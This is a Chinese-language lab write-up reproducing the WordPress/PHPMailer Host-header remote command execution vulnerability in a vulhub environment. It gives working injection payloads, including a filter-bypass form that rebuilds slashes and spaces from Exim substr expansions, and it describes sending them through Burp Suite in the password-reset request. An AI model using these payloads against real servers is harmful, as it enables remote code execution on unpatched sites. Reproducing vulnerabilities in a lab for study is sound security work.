漏洞简介
phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload
影响版本
WordPress <= 4.6.0
PHPMailer < 5.2.18
复现环境
靶机kali: 192.168.23.134
kali作为靶机的同时也作为攻击机
具体操作不再详细赘述,启动vulhub,然后kali开启浏览器,详细抓包操作可参考简单了解cms,复现vulhub中的wordpress漏洞
漏洞复现
打开安装
忘记密码
开启浏览器抓包,后进行发送到burpsuite
抓到包之后发送到repeater重发器
payload:
aa(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)
# 大家可以自行替换执行代码这里不进行赘赘述(请大家在执行测试前谨慎执行)
#意思是在tmp处创建success文件
但是由于WordPress以及PHPMailer都会防止攻击者注入空字符,并且host字段值中出现’/'会出现请求错误,所以我们要绕过空格和/
payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
最终payload为:aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
替换host请求字段
send发送请求
验证:通过docker容器进入环境查看
输入docker ps -a,获取环境id
输入命令:docker exec it your_id /bin/bash进入容器命令环境
输入ls /tmp查看是否写入成功
此时,可以看到文件写入成功,漏洞复现成功